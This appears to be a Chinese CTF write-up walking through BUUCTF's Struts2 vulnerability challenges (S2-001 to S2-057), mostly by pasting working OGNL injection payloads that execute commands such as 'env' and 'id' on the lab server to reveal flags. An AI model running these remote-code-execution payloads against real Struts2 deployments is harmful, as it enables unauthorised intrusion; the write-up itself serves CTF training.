struts2系列-Real-BUUCTF平台

本篇内容
[struts2]s2-001、[struts2]s2-005、[struts2]s2-007、[struts2]s2-008、[struts2]s2-009
[struts2]s2-012、[struts2]s2-013、[struts2]s2-015、[struts2]s2-016、[struts2]s2-045
[struts2]s2-046、[struts2]s2-048、[struts2]s2-052、[struts2]s2-053、[struts2]s2-057

上一篇 | 目录 | 下一篇


[struts2]s2-001
在这里插入图片描述
直接找该漏洞的示例exp:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

pwd改为env获取环境变量即可得到flag。
在这里插入图片描述




[struts2]s2-005
使用工具跑出payload:
在这里插入图片描述
工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-007
类似之前,在age处填入payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

在这里插入图片描述
然后点击提交会在该框中显示内容:
在这里插入图片描述
复制下来查看得到flag:
在这里插入图片描述




[struts2]s2-008

http://node3.buuoj.cn:27242/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29

在这里插入图片描述




[struts2]s2-009
s2-009没用,用s2-008的出来了,使用工具跑出payload:
在这里插入图片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-012
s2-012不知道咋搞,用s2-016的出来了,使用工具跑出payload:
在这里插入图片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-013
直接找该漏洞的示例exp:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

id改为env获取环境变量即可得到flag。

http://node3.buuoj.cn:27799/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D



[struts2]s2-015
使用工具跑出payload:
在这里插入图片描述
这里借助s2-016的,因为s2-015的env获取不到flag。
工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-016
使用工具跑出payload:
在这里插入图片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-045

类似之前,payload:

"%{(#a='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

在这里插入图片描述




[struts2]s2-046
使用工具跑出payload:
在这里插入图片描述

工具地址:https://github.com/HatBoy/Struts2-Scan。




[struts2]s2-048

首先在网址http://node3.buuoj.cn:28568/后面加/showcase,结果:
在这里插入图片描述
点击红框进入另一个页面,输入payload:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

在这里插入图片描述
在这里插入图片描述
然后将上面的示例payload中的id改为env,结果如下:
在这里插入图片描述
虽然不知道为啥报错了(我试了ls啥的都不报错),但是不影响结果,如上图框中内容包上flag{}既是正确flag。




[struts2]s2-052

花了半天时间,耗死做不出来,好难受。太菜了,暂且搁置。




[struts2]s2-053
在这里插入图片描述
在网址后输入一个/hello进入如下页面:
在这里插入图片描述
输入payload(注意结尾要有空格):

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

在这里插入图片描述




[struts2]s2-057

类似之前,payload:

http://node3.buuoj.cn:29922/struts2-showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action

在这里插入图片描述




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇

========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105697178
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章